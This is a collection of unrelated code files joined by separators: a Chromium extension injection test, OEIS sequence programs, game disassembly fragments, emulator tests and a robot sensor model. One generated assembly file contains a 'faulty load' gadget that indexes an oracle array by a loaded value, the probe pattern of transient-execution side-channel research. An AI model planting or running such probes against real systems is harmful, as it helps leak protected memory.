" actions: [new RequestContentScript({js: ['script.js']}\n"
" )]\n"
" }],\n"
" function(details) {\n"
" if (!chrome.runtime.lastError)\n"
" chrome.test.sendMessage('injection setup');\n"
" }\n"
" );\n"
"});\n";
const char kContentScriptSource[] =
"chrome.test.sendMessage('injection succeeded');\n";
// Messages from scripts:
const char kInjectionSetup[] = "injection setup";
const char kInjectionSucceeded[] = "injection succeeded";
// Runs all pending tasks in the renderer associated with |web_contents|.
// Returns true on success.
bool RunAllPendingInRenderer(content::WebContents* web_contents) {
// TODO(devlin): If too many tests start to need this, move it somewhere
// common.
// This is slight hack to achieve a RunPendingInRenderer() method. Since IPCs
// are sent synchronously, anything started prior to this method will finish
// before this method returns (as content::ExecuteScript() is synchronous).
return content::ExecuteScript(web_contents, "1 == 1;");
}
} // namespace
class RequestContentScriptAPITest : public ExtensionBrowserTest {
public:
RequestContentScriptAPITest();
~RequestContentScriptAPITest() override {}
// Performs script injection test on a common local URL using the given
// |manifest_permission| and |script_matcher|. Does not return until
// the renderer should have completed its task and any browser-side reactions
// have been cleared from the task queue.
testing::AssertionResult RunTest(PermissionOrMatcherType manifest_permission,
PermissionOrMatcherType script_matcher,
bool should_inject);
private:
testing::AssertionResult CreateAndLoadExtension(
PermissionOrMatcherType manifest_permission,
PermissionOrMatcherType script_matcher);
std::unique_ptr<TestExtensionDir> test_extension_dir_;
const Extension* extension_;
};
RequestContentScriptAPITest::RequestContentScriptAPITest()
: extension_(NULL) {}
testing::AssertionResult RequestContentScriptAPITest::RunTest(
PermissionOrMatcherType manifest_permission,
PermissionOrMatcherType script_matcher,
bool should_inject) {
if (extension_)
UnloadExtension(extension_->id());
testing::AssertionResult result = CreateAndLoadExtension(manifest_permission,
script_matcher);
if (!result)
return result;
// Setup listener for actual injection of script.
ExtensionTestMessageListener injection_succeeded_listener(
kInjectionSucceeded,
false /* won't reply */);
injection_succeeded_listener.set_extension_id(extension_->id());
ui_test_utils::NavigateToURL(
browser(),
embedded_test_server()->GetURL("/extensions/test_file.html"));
content::WebContents* web_contents =
browser() ? browser()->tab_strip_model()->GetActiveWebContents() : NULL;
if (!web_contents)
return testing::AssertionFailure() << "No web contents.";
// Give the extension plenty of time to inject.
if (!RunAllPendingInRenderer(web_contents))
return testing::AssertionFailure() << "Could not run pending in renderer.";
// Make sure all running tasks are complete.
content::RunAllPendingInMessageLoop();
if (injection_succeeded_listener.was_satisfied() != should_inject) {
return testing::AssertionFailure()
<< (should_inject ?
"Expected injection, but got none." :
"Expected no injection, but got one.");
}
return testing::AssertionSuccess();
}
testing::AssertionResult RequestContentScriptAPITest::CreateAndLoadExtension(
PermissionOrMatcherType manifest_permission,
PermissionOrMatcherType script_matcher) {
// Setup a listener to note when injection rules have been setup.
ExtensionTestMessageListener injection_setup_listener(
kInjectionSetup,
false /* won't reply */);
std::string manifest = base::StringPrintf(kManifest,
kPermissions[manifest_permission]);
std::string background_src = base::StringPrintf(
kBackgroundScriptSource,
kScriptMatchers[script_matcher]);
std::unique_ptr<TestExtensionDir> dir(new TestExtensionDir);
dir->WriteManifest(manifest);
dir->WriteFile(FILE_PATH_LITERAL("background.js"), background_src);
dir->WriteFile(FILE_PATH_LITERAL("script.js"),
kContentScriptSource);
const Extension* extension = LoadExtension(dir->UnpackedPath());
if (!extension)
return testing::AssertionFailure() << "Failed to load extension.";
test_extension_dir_ = std::move(dir);
extension_ = extension;
// Wait for rules to be setup before navigating to trigger script injection.
injection_setup_listener.WaitUntilSatisfied();
return testing::AssertionSuccess();
}
// Try different permutations of "match all", "match particular domain (that is
// visited by test)", and "match nonsense domain (not visited by test)" for
// both manifest permissions and injection matcher conditions.
// http://crbug.com/421118
IN_PROC_BROWSER_TEST_F(RequestContentScriptAPITest,
DISABLED_PermissionMatcherAgreementInjection) {
ASSERT_TRUE(embedded_test_server()->Start());
// Positive tests: permissions and matcher contain conditions that match URL
// visited during test.
EXPECT_TRUE(RunTest(ALL, ALL, true));
EXPECT_TRUE(RunTest(ALL, PARTICULAR, true));
EXPECT_TRUE(RunTest(PARTICULAR, ALL, true));
EXPECT_TRUE(RunTest(PARTICULAR, PARTICULAR, true));
// Negative tests: permissions or matcher (or both) contain conditions that
// do not match URL visited during test.
EXPECT_TRUE(RunTest(NOWHERE, ALL, false));
EXPECT_TRUE(RunTest(NOWHERE, PARTICULAR, false));
EXPECT_TRUE(RunTest(NOWHERE, NOWHERE, false));
EXPECT_TRUE(RunTest(ALL, NOWHERE, false));
EXPECT_TRUE(RunTest(PARTICULAR, NOWHERE, false));
// TODO(markdittmer): Add more tests:
// - Inject script with multiple files
// - Inject multiple scripts
// - Match on CSS selector conditions
// - Match all frames in document containing frames
}
} // namespace extensions
|
; A158316: 400n^2 - 2n.
; 398,1596,3594,6392,9990,14388,19586,25584,32382,39980,48378,57576,67574,78372,89970,102368,115566,129564,144362,159960,176358,193556,211554,230352,249950,270348,291546,313544,336342,359940,384338,409536,435534,462332,489930,518328,547526,577524,608322,639920,672318,705516,739514,774312,809910,846308,883506,921504,960302,999900,1040298,1081496,1123494,1166292,1209890,1254288,1299486,1345484,1392282,1439880,1488278,1537476,1587474,1638272,1689870,1742268,1795466,1849464,1904262,1959860,2016258,2073456,2131454,2190252,2249850,2310248,2371446,2433444,2496242,2559840,2624238,2689436,2755434,2822232,2889830,2958228,3027426,3097424,3168222,3239820,3312218,3385416,3459414,3534212,3609810,3686208,3763406,3841404,3920202,3999800,4080198,4161396,4243394,4326192,4409790,4494188,4579386,4665384,4752182,4839780,4928178,5017376,5107374,5198172,5289770,5382168,5475366,5569364,5664162,5759760,5856158,5953356,6051354,6150152,6249750,6350148,6451346,6553344,6656142,6759740,6864138,6969336,7075334,7182132,7289730,7398128,7507326,7617324,7728122,7839720,7952118,8065316,8179314,8294112,8409710,8526108,8643306,8761304,8880102,8999700,9120098,9241296,9363294,9486092,9609690,9734088,9859286,9985284,10112082,10239680,10368078,10497276,10627274,10758072,10889670,11022068,11155266,11289264,11424062,11559660,11696058,11833256,11971254,12110052,12249650,12390048,12531246,12673244,12816042,12959640,13104038,13249236,13395234,13542032,13689630,13838028,13987226,14137224,14288022,14439620,14592018,14745216,14899214,15054012,15209610,15366008,15523206,15681204,15840002,15999600,16159998,16321196,16483194,16645992,16809590,16973988,17139186,17305184,17471982,17639580,17807978,17977176,18147174,18317972,18489570,18661968,18835166,19009164,19183962,19359560,19535958,19713156,19891154,20069952,20249550,20429948,20611146,20793144,20975942,21159540,21343938,21529136,21715134,21901932,22089530,22277928,22467126,22657124,22847922,23039520,23231918,23425116,23619114,23813912,24009510,24205908,24403106,24601104,24799902,24999500
add $0,1
mov $1,$0
mul $0,1000
sub $0,5
mul $1,$0
div $1,5
mul $1,2
|
db "SEA SLUG@" ; species name
db "Long ago, its"
next "entire back was"
next "shielded with a"
page "sturdy shell."
next "Traces of it are"
next "left in its DNA.@"
|
; A036172: Log base 2 (n) mod 59.
; Submitted by Christian Krause
; 0,1,50,2,6,51,18,3,42,7,25,52,45,19,56,4,40,43,38,8,10,26,15,53,12,46,34,20,28,57,49,5,17,41,24,44,55,39,37,9,14,11,33,27,48,16,23,54,36,13,32,47,22,35,31,21,30,29
add $0,1
mov $1,$0
seq $1,196 ; Integer part of square root of n. Or, number of positive squares <= n. Or, n appears 2n+1 times.
add $1,270
lpb $1
mov $2,2
sub $2,$0
lpb $2
mov $1,3
mov $2,0
lpe
mov $2,$0
mod $2,2
mul $2,20
mov $3,1
lpb $2
add $0,3
sub $2,1
lpe
lpb $3
div $0,2
sub $3,1
lpe
sub $1,4
add $4,1
lpe
mov $0,$4
|
; ---------------------------------------------------------------------------
; Animation script - Sonic on the title screen
; ---------------------------------------------------------------------------
Ani_TSon: dc.w byte_A706-Ani_TSon
byte_A706: dc.b 1, 0, 0, afBack, 1
even |
;
; HelloASM.asm
;
; Created: 12/02/2021 15:31:56
; Author : Markus
;
ldi r16, 0b00000111
ldi r22, 0x15
; Replace with your application code
ldi r17, 0x1
ldi r18, 0x1
ldi r19, 0x0
start:
inc r16
mov r17, r18
add r18, r19
rjmp start
|
%ifdef CONFIG
{
"RegData": {
"XMM0": ["0xFFFFFFFFFFFFFFFF", "0x0"],
"XMM1": ["0xFFFFFFFFFFFFFFFF", "0x0"],
"XMM2": ["0x6162636465666768", "0x5152535455565758"]
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x7172737475767778
mov [rdx + 8 * 0], rax
mov rax, 0x4142434445464748
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 3], rax
movapd xmm0, [rdx]
pcmpgtb xmm0, [rdx + 8 * 2]
movapd xmm1, [rdx]
movapd xmm2, [rdx + 8 * 2]
pcmpgtb xmm1, xmm2
hlt
|
SilphCo10F_Script:
call SilphCo10Script_5a14f
call EnableAutoTextBoxDrawing
ld hl, SilphCo10TrainerHeader0
ld de, SilphCo10F_ScriptPointers
ld a, [wSilphCo10FCurScript]
call ExecuteCurMapScriptInTable
ld [wSilphCo10FCurScript], a
ret
SilphCo10Script_5a14f:
ld hl, wCurrentMapScriptFlags
bit 5, [hl]
res 5, [hl]
ret z
ld hl, SilphCo10GateCoords
call SilphCo2Script_59d43
call SilphCo10Text_5a176
CheckEvent EVENT_SILPH_CO_10_UNLOCKED_DOOR
ret nz
ld a, $54
ld [wNewTileBlockID], a
lb bc, 4, 5
predef_jump ReplaceTileBlock
SilphCo10GateCoords:
db $04,$05
db $FF
SilphCo10Text_5a176:
ld a, [$ffe0]
and a
ret z
SetEvent EVENT_SILPH_CO_10_UNLOCKED_DOOR
ret
SilphCo10F_ScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
SilphCo10F_TextPointers:
dw SilphCo10Text1
dw SilphCo10Text2
dw SilphCo10Text3
dw PickUpItemText
dw PickUpItemText
dw PickUpItemText
SilphCo10TrainerHeader0:
dbEventFlagBit EVENT_BEAT_SILPH_CO_10F_TRAINER_0
db ($3 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_SILPH_CO_10F_TRAINER_0
dw SilphCo10BattleText1 ; TextBeforeBattle
dw SilphCo10AfterBattleText1 ; TextAfterBattle
dw SilphCo10EndBattleText1 ; TextEndBattle
dw SilphCo10EndBattleText1 ; TextEndBattle
SilphCo10TrainerHeader1:
dbEventFlagBit EVENT_BEAT_SILPH_CO_10F_TRAINER_1
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_SILPH_CO_10F_TRAINER_1
dw SilphCo10BattleText2 ; TextBeforeBattle
dw SilphCo10AfterBattleText2 ; TextAfterBattle
dw SilphCo10EndBattleText2 ; TextEndBattle
dw SilphCo10EndBattleText2 ; TextEndBattle
db $ff
SilphCo10Text1:
TX_ASM
ld hl, SilphCo10TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
SilphCo10Text2:
TX_ASM
ld hl, SilphCo10TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
SilphCo10Text3:
TX_ASM
CheckEvent EVENT_BEAT_SILPH_CO_GIOVANNI
ld hl, SilphCo10Text_5a1d8
jr nz, .asm_cf85f
ld hl, SilphCo10Text_5a1d3
.asm_cf85f
call PrintText
jp TextScriptEnd
SilphCo10Text_5a1d3:
TX_FAR _SilphCo10Text_5a1d3
db "@"
SilphCo10Text_5a1d8:
TX_FAR _SilphCo10Text_5a1d8
db "@"
SilphCo10BattleText1:
TX_FAR _SilphCo10BattleText1
db "@"
SilphCo10EndBattleText1:
TX_FAR _SilphCo10EndBattleText1
db "@"
SilphCo10AfterBattleText1:
TX_FAR _SilphCo10AfterBattleText1
db "@"
SilphCo10BattleText2:
TX_FAR _SilphCo10BattleText2
db "@"
SilphCo10EndBattleText2:
TX_FAR _SilphCo10EndBattleText2
db "@"
SilphCo10AfterBattleText2:
TX_FAR _SilphCo10AfterBattleText2
db "@"
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x68ac, %rsi
lea addresses_WT_ht+0xa8ac, %rdi
mfence
mov $61, %rcx
rep movsl
nop
nop
dec %r12
lea addresses_A_ht+0x8e6c, %r13
nop
inc %r12
mov $0x6162636465666768, %rdi
movq %rdi, (%r13)
nop
and %rsi, %rsi
lea addresses_A_ht+0x136ac, %r13
nop
nop
nop
inc %r9
movb $0x61, (%r13)
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0x1e82c, %rsi
lea addresses_WT_ht+0xb4ac, %rdi
nop
nop
nop
nop
and $31083, %rdx
mov $15, %rcx
rep movsq
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x1792c, %rsi
lea addresses_WT_ht+0x1a0da, %rdi
nop
nop
nop
nop
cmp $14564, %r11
mov $18, %rcx
rep movsl
nop
sub %r9, %r9
lea addresses_D_ht+0x1e6fc, %rsi
nop
nop
dec %r9
mov $0x6162636465666768, %r12
movq %r12, %xmm6
movups %xmm6, (%rsi)
cmp %r12, %r12
lea addresses_UC_ht+0x14eac, %r11
nop
nop
nop
xor %rdx, %rdx
movl $0x61626364, (%r11)
nop
nop
nop
nop
sub %r11, %r11
lea addresses_D_ht+0x17cac, %rsi
lea addresses_A_ht+0xbaac, %rdi
nop
nop
nop
nop
nop
and %r11, %r11
mov $112, %rcx
rep movsb
nop
nop
nop
and $16707, %rdi
lea addresses_A_ht+0x102ac, %rdx
add $16299, %rcx
mov $0x6162636465666768, %r13
movq %r13, (%rdx)
cmp %rcx, %rcx
lea addresses_WT_ht+0x88b4, %r12
nop
nop
and %rcx, %rcx
movb (%r12), %r13b
nop
nop
nop
nop
lfence
lea addresses_D_ht+0xb4ac, %r13
clflush (%r13)
nop
xor $58429, %rsi
mov (%r13), %rdi
nop
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_normal_ht+0x28ac, %rsi
lea addresses_A_ht+0x1aa1c, %rdi
nop
nop
nop
inc %r11
mov $50, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %r11
lea addresses_D_ht+0x1277c, %rdi
nop
nop
nop
nop
nop
add $25794, %r9
mov $0x6162636465666768, %r11
movq %r11, (%rdi)
nop
nop
sub $35767, %r11
lea addresses_normal_ht+0x85ac, %rsi
and $20824, %rdi
movb $0x61, (%rsi)
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_D_ht+0xfbaa, %rdi
nop
nop
nop
nop
sub %r12, %r12
movb (%rdi), %r9b
nop
nop
add %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rsi
// Store
lea addresses_WT+0x1f8d5, %r13
nop
cmp $25304, %rcx
movw $0x5152, (%r13)
nop
nop
nop
nop
add %rbx, %rbx
// Faulty Load
lea addresses_D+0x1b8ac, %r10
nop
nop
nop
nop
add %rbp, %rbp
mov (%r10), %r12d
lea oracles, %r13
and $0xff, %r12
shlq $12, %r12
mov (%r13,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
; A144925: Number of nontrivial divisors of the n-th composite number.
; 1,2,2,1,2,4,2,2,3,4,4,2,2,6,1,2,2,4,6,4,2,2,2,7,2,2,6,6,4,4,2,8,1,4,2,4,6,2,6,2,2,10,2,4,5,2,6,4,2,6,10,2,4,4,2,6,8,3,2,10,2,2,2,6,10,2,4,2,2,2,10,4,4,7,6,6,6,2,10,6,2,8,6,2,4,4,2,2,14,1,2,2,4,2,10,6,2,6,10,2
seq $0,2808 ; The composite numbers: numbers n of the form x*y for x > 1 and y > 1.
seq $0,32741 ; a(0) = 0; for n > 0, a(n) = number of proper divisors of n (divisors of n which are less than n).
sub $0,1
|
; A269223: Factorial of the sum of digits of n in base 3.
; 1,1,2,1,2,6,2,6,24,1,2,6,2,6,24,6,24,120,2,6,24,6,24,120,24,120,720,1,2,6,2,6,24,6,24,120,2,6,24,6,24,120,24,120,720,6,24,120,24,120,720,120,720,5040,2,6,24,6,24,120,24,120,720,6,24,120,24,120,720,120,720
mov $2,$0
cal $2,53735 ; Sum of digits of (n written in base 3).
fac $2
sub $2,1
mov $3,2
mul $3,$2
add $3,8
add $1,$3
sub $1,8
div $1,2
add $1,1
|
; A045821: Numerical distance between m-th and (n+m)-th circles in a loxodromic sequence of circles in which each 4 consecutive circles touch.
; Submitted by Jon Maiga
; -1,1,1,1,7,17,49,145,415,1201,3473,10033,28999,83809,242209,700001,2023039,5846689,16897249,48833953,141132743,407881201,1178798545,3406791025,9845808799,28454915537,82236232177,237667122001,686870730631,1985093254081,5737025981249,16580312809921,47917993359871,138485571048001,400230728454337,1156688272914497,3342891151473799,9661134734637265,27921197589596785,80693758678501201,233209290853996703,673987359509552113,1947859620494503249,5629418783037602929,16269322235229319879
mov $2,1
mov $4,-1
lpb $0
sub $0,1
add $2,$1
add $3,$4
add $1,$3
add $4,$2
add $2,2
add $3,$4
sub $4,$3
sub $1,$4
add $3,$4
add $4,$3
lpe
mov $0,$4
|
; A233441: Floor(2^n / n^3).
; 2,0,0,0,0,0,0,0,0,1,1,2,3,5,9,16,26,44,76,131,226,393,689,1213,2147,3818,6818,12228,22012,39768,72084,131072,239027,437102,801393,1472896,2713342,5009438,9267786,17179869,31906432,59362467,110632938,206519839,386111079
mov $2,$0
mov $3,2
mov $4,$0
add $4,1
pow $3,$4
add $4,2
lpb $3,2
mov $0,6
add $2,1
mov $4,2
lpe
lpb $0,1
sub $0,$4
div $3,$2
lpe
mov $1,$3
|
; A067771: Number of vertices in Sierpiński triangle of order n.
; 3,6,15,42,123,366,1095,3282,9843,29526,88575,265722,797163,2391486,7174455,21523362,64570083,193710246,581130735,1743392202,5230176603,15690529806,47071589415,141214768242,423644304723,1270932914166,3812798742495,11438396227482,34315188682443,102945566047326,308836698141975,926510094425922,2779530283277763,8338590849833286,25015772549499855,75047317648499562,225141952945498683,675425858836496046,2026277576509488135,6078832729528464402,18236498188585393203,54709494565756179606
mov $1,3
pow $1,$0
div $1,2
mul $1,3
add $1,3
mov $0,$1
|
#include "../include/sensor.h"
#include <iostream>
Sensor::Sensor(double min_z, double max_z, double noise, FILE *file) : min_z__(min_z), max_z__(max_z), sense_noise__(noise), file__(file)
{
std::cout << "Initializing a range sensor ..." << std::endl;
}
void Sensor::set_noise(double noise)
{
sense_noise__ = noise;
}
std::vector<double> Sensor::get_readings(double robot_x, double robot_y, Map *map, bool noise)
{
std::vector<double> data(9);
if (file__ != nullptr)
{
// if sensor recording exist read one line with each function call
for (int i = 0; i < 9; ++i)
{
if (std::fscanf(file__, "%lf", &data[i]) == EOF)
{
// set data to -1 to indicate end of file
data[i] = -1;
}
}
std::string readings = std::string("[");
std::for_each(data.begin(), data.end(), [&readings](double mm) { readings += std::string(" ") + std::to_string(mm); });
readings += std::string(" ]");
//std::cout << readings << std::endl;
}
else if (map != nullptr)
{
// return measurements to landmarks
std::vector<double> lms = map->get_landmarks();
std::vector<double> measurements;
// iterate through landmarks
for (int i = 1; i < lms.size(); i += 2)
{
// get Euclidean distance to each landmark and add noise to simulate range finder data
double m = sqrt(pow((lms[i - 1] - robot_x), 2) + pow((lms[i] - robot_y), 2));
// add gaussian noise if noise flag is true
noise ? m += utility::get_gaussian_random_number(0.0, sense_noise__) : m += 0.0;
measurements.push_back(m);
}
return measurements;
}
return data;
}
double Sensor::forward_model(std::vector<double> &sensor_data, Map *map, double robot_x, double robot_y, double robot_theta, double robot_width, double robot_height, double z_hit, double z_max, double z_rand, double sig_hit)
{
// likelihood field model
// sensor measurement
double z_k;
// angle to measurement
double theta_k;
// probability of sensor measurement
double p = 1;
// transformed x, y of sensor measurements
double x_z_k;
double y_z_k;
// distance to nearest neighbour
double dist;
// sensor theta
double sensor_theta;
// loop through sensors
for (int i = 1; i < 9; i++)
{
// Map sensor angles for [-90 -37.5 -22.5 -7.5 7.5 22.5 37.5 90]
if (i == 1)
{
sensor_theta = -90 * (M_PI / 180);
}
else if (i == 2)
{
sensor_theta = -37.5 * (M_PI / 180);
}
else if (i == 7)
{
sensor_theta = 37.5 * (M_PI / 180);
}
else if (i == 8)
{
sensor_theta = 90 * (M_PI / 180);
}
else
{
sensor_theta = (-37.5 + (i - 2) * 15) * (M_PI / 180);
}
z_k = sensor_data[i];
theta_k = sensor_theta;
if (z_k != max_z__)
{
// transfor the sensor measurement onto the map
x_z_k = robot_x + z_k * cos(robot_theta + theta_k);
y_z_k = robot_y + z_k * sin(robot_theta + theta_k);
// find the distance to nearest occupied grid on the map
dist = distance_to_nn(x_z_k, y_z_k, map, robot_width, robot_height);
// get the probability of such measurement based on the distance to nn
p = p * (z_hit * utility::get_gaussian_probability(0, sig_hit, dist) + z_rand / z_max);
}
}
return p;
}
double Sensor::inverse_model(double robot_x, double robot_y, double robot_theta, double grid_x, double grid_y, double l_o, double l_free, double l_occ, std::vector<double> &sensor_data)
{
// simplistic iverse model of a range sensor using beam cone model
//std::cout << "[robot_x:" << robot_x << ", robot_y:" << robot_y << ", robot_o:" << robot_theta << "]" << std::endl;
//std::cout << "[grid_x:" << grid_x << ", grid_y:" << grid_y << "]" << std::endl;
// measurement
double z_k;
// angle to measurement
double theta_k;
// sensor theta
double sensor_theta;
// minimum difference between angles
double min_delta = -1;
// cell width
double a = 200;
// sensor beam opening angle
double b = 20;
// compute distance from cell to sensor
double r = sqrt(pow(robot_x - grid_x, 2) + pow(robot_y - grid_y, 2));
//std::cout << "r:" << r << std::endl;
// calculate angle between sensor reading and robot theta
double phi = atan2(grid_y - robot_y, grid_x - robot_x) - robot_theta;
//std::cout << "phi:" << phi << std::endl;
// Sensor angles [-90 -37.5 -22.5 -7.5 7.5 22.5 37.5 90]
// find the sensor that the grids falls in its cone
for (int i = 1; i < 9; i++)
{
if (i == 1)
{
sensor_theta = -90 * (M_PI / 180);
}
else if (i == 2)
{
sensor_theta = -37.5 * (M_PI / 180);
}
else if (i == 7)
{
sensor_theta = 37.5 * (M_PI / 180);
}
else if (i == 8)
{
sensor_theta = 90 * (M_PI / 180);
}
else
{
sensor_theta = (-37.5 + (i - 2) * 15) * (M_PI / 180);
}
if (fabs(phi - sensor_theta) < min_delta || min_delta == -1)
{
z_k = sensor_data[i];
theta_k = sensor_theta;
min_delta = fabs(phi - sensor_theta);
//std::cout << i << std::endl;
//std::cout << min_delta << std::endl;
}
}
//std::cout << "measurement: " << z_k << std::endl;
//std::cout << "Sensor theta: " << theta_k << std::endl;
// consider the three occupancy cases
if ((r > std::min(max_z__, z_k + a / 2)) or (fabs(phi - theta_k) > b / 2) or (z_k > max_z__) or (z_k < min_z__))
{
return l_o;
}
else if ((z_k < max_z__) and (fabs(r - z_k) < a / 2))
{
return l_occ;
}
